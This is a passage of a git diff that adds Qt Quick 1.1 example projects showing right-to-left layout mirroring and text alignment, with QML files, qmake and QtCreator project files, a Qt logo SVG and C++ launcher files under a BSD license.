+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ id: root
+ property bool mirror
+ property int direction: Qt.application.layoutDirection
+ LayoutMirroring.enabled: mirror
+ LayoutMirroring.childrenInherit: true
+ width: column.width + 80
+ height: column.height + 40
+ Column {
+ id: column
+ width: 190
+ spacing: 10
+ anchors.centerIn: parent
+
+ Text {
+ text: "Row"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ Row {
+ layoutDirection: root.direction
+ spacing: 10
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 4
+ Loader {
+ property int value: index
+ sourceComponent: positionerDelegate
+ }
+ }
+ }
+
+ Text {
+ text: "Grid"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ Grid {
+ layoutDirection: root.direction
+ spacing: 10; columns: 4
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 11
+ Loader {
+ property int value: index
+ sourceComponent: positionerDelegate
+ }
+ }
+ }
+
+ Text {
+ text: "Flow"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ Flow {
+ layoutDirection: root.direction
+ spacing: 10; width: parent.width
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 10
+ Loader {
+ property int value: index
+ sourceComponent: positionerDelegate
+ }
+ }
+ }
+
+ Text {
+ text: "ListView"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ ListView {
+ id: listView
+ clip: true
+ width: parent.width; height: 40
+ layoutDirection: root.direction
+ orientation: Qt.Horizontal
+ model: 48
+ delegate: viewDelegate
+ }
+
+ Text {
+ text: "GridView"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ GridView {
+ clip: true
+ width: 200; height: 160
+ cellWidth: 50; cellHeight: 50
+ layoutDirection: root.direction
+ model: 48
+ delegate: viewDelegate
+ }
+
+ Rectangle {
+ height: 50; width: parent.width
+ color: mouseArea.pressed ? "black" : "gray"
+ Column {
+ anchors.centerIn: parent
+ Text {
+ text: root.direction ? "Right to left" : "Left to right"
+ color: "white"
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "(click here to toggle)"
+ color: "white"
+ font.pixelSize: 10
+ font.italic: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ if (root.direction == Qt.LeftToRight) {
+ root.direction = Qt.RightToLeft;
+ } else {
+ root.direction = Qt.LeftToRight;
+ }
+ }
+ }
+ }
+
+ Rectangle {
+ height: 50; width: parent.width
+ color: mouseArea2.pressed ? "black" : "gray"
+ Column {
+ anchors.centerIn: parent
+ Text {
+ text: root.mirror ? "Mirrored" : "Not mirrored"
+ color: "white"
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "(click here to toggle)"
+ color: "white"
+ font.pixelSize: 10
+ font.italic: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ MouseArea {
+ id: mouseArea2
+ anchors.fill: parent
+ onClicked: {
+ root.mirror = !root.mirror;
+ }
+ }
+ }
+ }
+
+ Component {
+ id: positionerDelegate
+ Rectangle {
+ width: 40; height: 40
+ color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0)
+ Text {
+ text: parent.parent.value+1
+ color: "white"
+ font.pixelSize: 18
+ anchors.centerIn: parent
+ }
+ }
+ }
+ Component {
+ id: viewDelegate
+ Item {
+ function effectiveLayoutDirection() {
+ if (LayoutMirroring.enabled)
+ if (listView.layoutDirection == Qt.LeftToRight)
+ return Qt.RightToLeft;
+ else
+ return Qt.LeftToRight;
+ else
+ return listView.layoutDirection;
+ }
+
+ width: (effectiveLayoutDirection() == Qt.LeftToRight ? (index == 48 - 1) : (index == 0)) ? 40 : 50
+ Rectangle {
+ width: 40; height: 40
+ color: Qt.rgba(0.5+(48 - index)*Math.random()/48,
+ 0.3+index*Math.random()/48,
+ 0.3*Math.random(),
+ 1.0)
+ Text {
+ text: index+1
+ color: "white"
+ font.pixelSize: 18
+ anchors.centerIn: parent
+ }
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.pro b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.pro
new file mode 100644
index 00000000..04868f99
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/layoutmirroring
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE2EC19CA
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/righttoleft/layoutmirroring
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.qmlproject b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.qmlproject
new file mode 100644
index 00000000..53bc7f7b
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/layoutmirroring"
+ }
+ JavaScriptFiles {
+ directory: "qml/layoutmirroring"
+ }
+ ImageFiles {
+ directory: "qml/layoutmirroring"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.svg b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/righttoleft/layoutmirroring/layoutmirroring64.png b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring64.png
Binary files differ
diff --git a/examples/declarative/righttoleft/layoutmirroring/layoutmirroring80.png b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/layoutmirroring80.png
Binary files differ
diff --git a/examples/declarative/righttoleft/layoutmirroring/main.cpp b/examples/declarative/righttoleft/layoutmirroring/main.cpp
new file mode 100644
index 00000000..00ade6fd
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/layoutmirroring/layoutmirroring.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/righttoleft/layoutmirroring/qml/layoutmirroring/layoutmirroring.qml b/examples/declarative/righttoleft/layoutmirroring/qml/layoutmirroring/layoutmirroring.qml
new file mode 100644
index 00000000..190984ad
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutmirroring/qml/layoutmirroring/layoutmirroring.qml
@@ -0,0 +1,313 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ id: root
+ property bool mirror: Qt.application.layoutDirection == Qt.RightToLeft
+ LayoutMirroring.enabled: mirror
+ LayoutMirroring.childrenInherit: true
+ width: 400
+ height: 875
+ color: "lightsteelblue"
+
+ Column {
+ spacing: 10
+ anchors { left: parent.left; right: parent.right; top: parent.top; margins: 10 }
+
+ Text {
+ text: "Positioners"
+ anchors.left: parent.left
+ }
+
+ Column {
+ id: positioners
+ spacing: 5
+ anchors.left: parent.left
+ Row {
+ id: row
+ spacing: 4
+ property string text: "THISISROW"
+ anchors.left: parent.left
+ Repeater {
+ model: parent.text.length
+ delegate: positionerDelegate
+ }
+ }
+ Flow {
+ id: flow
+ spacing: 4
+ width: 90
+ property string text: "THISISFLOW"
+ anchors.left: parent.left
+ Repeater {
+ model: parent.text.length
+ delegate: positionerDelegate
+ }
+ }
+ Grid {
+ id: grid
+ spacing: 4
+ columns: 6
+ property string text: "THISISGRID"
+ anchors.left: parent.left
+ Repeater {
+ model: parent.text.length
+ delegate: positionerDelegate
+ }
+ }
+ Component {
+ id: positionerDelegate
+ Text {
+ color: "white"
+ font.pixelSize: 20
+ text: parent.text[index]
+ Rectangle {
+ z: -1
+ opacity: 0.7
+ color: "black"
+ anchors.fill: parent
+ }
+ }
+ }
+ }
+
+ Text {
+ text: "Text alignment"
+ anchors.left: parent.left
+ }
+
+ Rectangle {
+ id: textStrings
+ width: 148
+ height: 85
+ color: "white"
+ anchors.left: parent.left
+ Column {
+ spacing: 5
+ width: parent.width
+ anchors { fill: parent; margins: 5 }
+ Text {
+ id: englishText
+ width: parent.width
+ text: "English text"
+ }
+ Text {
+ id: arabicText
+ width: parent.width
+ text: "النص العربي"
+ }
+ Text {
+ id: leftAlignedText
+ width: parent.width
+ text: "Text aligned to left"
+ horizontalAlignment: Text.AlignLeft
+ }
+ Text {
+ id: rightAlignedText
+ width: parent.width
+ text: "Text aligned to right"
+ horizontalAlignment: Text.AlignRight
+ }
+ }
+ }
+
+ Text {
+ text: "Model views"
+ anchors.left: parent.left
+ }
+
+ Column {
+ id: views
+ spacing: 10
+ anchors.left: parent.left
+ ListView {
+ id: listView
+ z: -1
+ clip: true
+ model: text.length
+ width: 360; height: 45
+ orientation: Qt.Horizontal
+ property string text: "LISTVIEWLISTVIEWLISTVIEWLISTVIEWLISTVIEWLISTVIEW"
+ delegate: Rectangle {
+ color: "black"
+ width: 45; height: 45
+ Rectangle {
+ anchors { fill: parent; margins: 1 }
+ color: "red"
+ }
+ Text {
+ text: listView.text[index]
+ font.pixelSize: 30
+ anchors.centerIn: parent
+ }
+ }
+ }
+ GridView {
+ id: gridView
+ z: -1
+ clip: true
+ model: text.length
+ width: 180; height: 90
+ cellWidth: 45; cellHeight: 45
+ property string text: "GRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEW"
+ anchors.left: parent.left
+ delegate: Rectangle {
+ color: "black"
+ width: 45; height: 45
+ Rectangle {
+ anchors { fill: parent; margins: 1 }
+ color: "red"
+ }
+ Text {
+ anchors.centerIn: parent
+ font.pixelSize: 30
+ text: gridView.text[index]
+ }
+ }
+ }
+ }
+
+ Text {
+ text: "Item x"
+ anchors.left: parent.left
+ }
+ Rectangle {
+ id: items
+ color: Qt.rgba(0.2, 0.2, 0.2, 0.6)
+ width: 275; height: 95
+ anchors.left: parent.left
+ Rectangle {
+ y: 5; x: 5
+ width: 130; height: 40
+ Text {
+ text: "Item with x: 5\n(not mirrored)"
+ anchors.centerIn: parent
+ }
+ }
+ Rectangle {
+ color: Qt.rgba(0.7, 0.7, 0.7)
+ y: 50; x: mirror(5)
+ width: 130; height: 40
+ function mirror(value) {
+ return LayoutMirroring.enabled ? (parent.width - width - value) : value;
+ }
+ Text {
+ text: "Item with x: " + parent.x + "\n(manually mirrored)"
+ anchors.centerIn: parent
+ }
+ }
+ }
+ Text {
+ text: "Item anchors"
+ anchors.left: parent.left
+ }
+
+ Rectangle {
+ id: anchoredItems
+ color: Qt.rgba(0.2, 0.2, 0.2, 0.6)
+ width: 270; height: 170
+ anchors.left: parent.left
+ Rectangle {
+ id: blackRectangle
+ color: "black"
+ width: 180; height: 90
+ anchors { horizontalCenter: parent.horizontalCenter; horizontalCenterOffset: 30 }
+ Text {
+ text: "Horizontal center anchored\nwith offset 30\nto the horizontal center\nof the parent."
+ color: "white"
+ anchors.centerIn: parent
+ }
+ }
+ Rectangle {
+ id: whiteRectangle
+ color: "white"
+ width: 120; height: 70
+ anchors { left: parent.left; bottom: parent.bottom }
+ Text {
+ text: "Left side anchored\nto the left side\nof the parent."
+ color: "black"
+ anchors.centerIn: parent
+ }
+ }
+ Rectangle {
+ id: grayRectangle
+ color: Qt.rgba(0.7, 0.7, 0.7)
+ width: 140; height: 90
+ anchors { right: parent.right; bottom: parent.bottom }
+ Text {
+ text: "Right side anchored\nto the right side\nof the parent."
+ anchors.centerIn: parent
+ }
+ }
+ }
+ Rectangle {
+ id: mirrorButton
+ color: mouseArea2.pressed ? "black" : "gray"
+ height: 50; width: parent.width
+ anchors.left: parent.left
+ Column {
+ anchors.centerIn: parent
+ Text {
+ text: root.mirror ? "Mirrored" : "Not mirrored"
+ color: "white"
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "(click here to toggle)"
+ color: "white"
+ font.pixelSize: 10
+ font.italic: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ MouseArea {
+ id: mouseArea2
+ anchors.fill: parent
+ onClicked: {
+ root.mirror = !root.mirror;
+ }
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/righttoleft/textalignment/main.cpp b/examples/declarative/righttoleft/textalignment/main.cpp
new file mode 100644
index 00000000..c8a86834
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
